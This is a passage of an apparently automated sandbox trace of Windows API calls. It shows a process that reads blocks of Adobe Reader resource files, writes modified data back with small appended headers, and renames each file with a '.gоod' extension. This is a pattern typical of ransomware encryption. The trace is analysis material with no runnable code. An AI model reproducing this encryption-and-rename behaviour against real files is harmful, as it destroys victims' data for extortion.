lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons.png", lpFilePart=0x0) returned 0x87 [0236.644] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons.png.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons.png.gоod", lpFilePart=0x0) returned 0x8c [0236.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0236.644] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons.png"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x8943d7ef, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1f8f)) returned 1 [0236.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0236.644] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons.png.gоod")) returned 1 [0236.645] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_ie8.gif", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_ie8.gif", lpFilePart=0x0) returned 0x8b [0236.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0236.645] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_ie8.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_ie8.gif"), fInfoLevelId=0x0, lpFileInformation=0x372a100 | out: lpFileInformation=0x372a100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fd7)) returned 1 [0236.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0236.646] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_ie8.gif", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_ie8.gif", lpFilePart=0x0) returned 0x8b [0236.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0236.646] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_ie8.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_ie8.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0236.646] GetFileType (hFile=0x834) returned 0x1 [0236.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0236.647] GetFileType (hFile=0x834) returned 0x1 [0236.647] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x1000 [0236.647] ReadFile (in: hFile=0x834, lpBuffer=0x372a628, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec318, lpOverlapped=0x0 | out: lpBuffer=0x372a628*, lpNumberOfBytesRead=0x202ec318*=0xfd7, lpOverlapped=0x0) returned 1 [0236.648] CloseHandle (hObject=0x834) returned 1 [0236.648] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_ie8.gif", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_ie8.gif", lpFilePart=0x0) returned 0x8b [0236.648] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0236.648] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_ie8.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_ie8.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0236.648] GetFileType (hFile=0x834) returned 0x1 [0236.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0236.648] GetFileType (hFile=0x834) returned 0x1 [0236.648] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x1fd7 [0236.648] WriteFile (in: hFile=0x834, lpBuffer=0x372c068*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ec238, lpOverlapped=0x0 | out: lpBuffer=0x372c068*, lpNumberOfBytesWritten=0x202ec238*=0x10, lpOverlapped=0x0) returned 1 [0236.649] CloseHandle (hObject=0x834) returned 1 [0236.649] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_ie8.gif", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_ie8.gif", lpFilePart=0x0) returned 0x8b [0236.649] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0236.649] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_ie8.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_ie8.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0236.649] GetFileType (hFile=0x834) returned 0x1 [0236.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0236.649] GetFileType (hFile=0x834) returned 0x1 [0236.649] ReadFile (in: hFile=0x834, lpBuffer=0x372e3b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec2c8, lpOverlapped=0x0 | out: lpBuffer=0x372e3b0*, lpNumberOfBytesRead=0x202ec2c8*=0x1000, lpOverlapped=0x0) returned 1 [0239.602] CloseHandle (hObject=0x834) returned 1 [0239.602] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_ie8.gif", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_ie8.gif", lpFilePart=0x0) returned 0x8b [0239.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0239.602] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_ie8.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_ie8.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0239.602] GetFileType (hFile=0x834) returned 0x1 [0239.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0239.602] GetFileType (hFile=0x834) returned 0x1 [0239.602] WriteFile (in: hFile=0x834, lpBuffer=0x3659a60*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ec378, lpOverlapped=0x0 | out: lpBuffer=0x3659a60*, lpNumberOfBytesWritten=0x202ec378*=0x1010, lpOverlapped=0x0) returned 1 [0239.602] CloseHandle (hObject=0x834) returned 1 [0239.602] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_ie8.gif", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_ie8.gif", lpFilePart=0x0) returned 0x8b [0239.603] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_ie8.gif.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_ie8.gif.gоod", lpFilePart=0x0) returned 0x90 [0239.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0239.603] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_ie8.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_ie8.gif"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x8b070464, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1fe7)) returned 1 [0239.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0239.603] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_ie8.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_ie8.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_ie8.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_ie8.gif.gоod")) returned 1 [0239.604] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_retina.png", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_retina.png", lpFilePart=0x0) returned 0x8e [0239.604] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0239.604] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x37ba460 | out: lpFileInformation=0x37ba460*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf011b8fe, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf011b8fe, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf011b8fe, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3c6a)) returned 1 [0239.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0239.605] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_retina.png", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_retina.png", lpFilePart=0x0) returned 0x8e [0239.605] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0239.605] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0239.606] GetFileType (hFile=0x834) returned 0x1 [0239.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0239.606] GetFileType (hFile=0x834) returned 0x1 [0239.606] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x1000 [0239.606] ReadFile (in: hFile=0x834, lpBuffer=0x37ba9a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec318, lpOverlapped=0x0 | out: lpBuffer=0x37ba9a8*, lpNumberOfBytesRead=0x202ec318*=0x1000, lpOverlapped=0x0) returned 1 [0239.862] CloseHandle (hObject=0x834) returned 1 [0239.862] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_retina.png", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_retina.png", lpFilePart=0x0) returned 0x8e [0239.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0239.862] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0239.863] GetFileType (hFile=0x834) returned 0x1 [0239.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0239.863] GetFileType (hFile=0x834) returned 0x1 [0239.863] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x3c6a [0239.863] WriteFile (in: hFile=0x834, lpBuffer=0x37b07c8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ec238, lpOverlapped=0x0 | out: lpBuffer=0x37b07c8*, lpNumberOfBytesWritten=0x202ec238*=0x10, lpOverlapped=0x0) returned 1 [0239.898] CloseHandle (hObject=0x834) returned 1 [0239.898] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_retina.png", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_retina.png", lpFilePart=0x0) returned 0x8e [0239.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0239.898] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0239.899] GetFileType (hFile=0x834) returned 0x1 [0239.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0239.899] GetFileType (hFile=0x834) returned 0x1 [0239.899] ReadFile (in: hFile=0x834, lpBuffer=0x38339b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec2c8, lpOverlapped=0x0 | out: lpBuffer=0x38339b0*, lpNumberOfBytesRead=0x202ec2c8*=0x1000, lpOverlapped=0x0) returned 1 [0239.977] CloseHandle (hObject=0x834) returned 1 [0239.978] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_retina.png", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_retina.png", lpFilePart=0x0) returned 0x8e [0239.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0239.978] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0239.978] GetFileType (hFile=0x834) returned 0x1 [0239.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0239.978] GetFileType (hFile=0x834) returned 0x1 [0239.978] WriteFile (in: hFile=0x834, lpBuffer=0x3832670*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ec378, lpOverlapped=0x0 | out: lpBuffer=0x3832670*, lpNumberOfBytesWritten=0x202ec378*=0x1010, lpOverlapped=0x0) returned 1 [0239.978] CloseHandle (hObject=0x834) returned 1 [0239.978] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_retina.png", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_retina.png", lpFilePart=0x0) returned 0x8e [0239.978] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_retina.png.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_retina.png.gоod", lpFilePart=0x0) returned 0x93 [0239.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0239.978] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf011b8fe, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf011b8fe, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x8b41387e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3c7a)) returned 1 [0239.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0239.979] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_retina.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_retina.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_retina.png.gоod")) returned 1 [0239.980] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations.png", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations.png", lpFilePart=0x0) returned 0x8f [0239.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0239.980] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations.png"), fInfoLevelId=0x0, lpFileInformation=0x38b5d78 | out: lpFileInformation=0x38b5d78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x225a)) returned 1 [0239.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0239.980] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations.png", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations.png", lpFilePart=0x0) returned 0x8f [0239.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0239.980] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0239.981] GetFileType (hFile=0x834) returned 0x1 [0239.981] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0239.981] GetFileType (hFile=0x834) returned 0x1 [0239.981] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x1000 [0239.981] ReadFile (in: hFile=0x834, lpBuffer=0x38b62c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec318, lpOverlapped=0x0 | out: lpBuffer=0x38b62c0*, 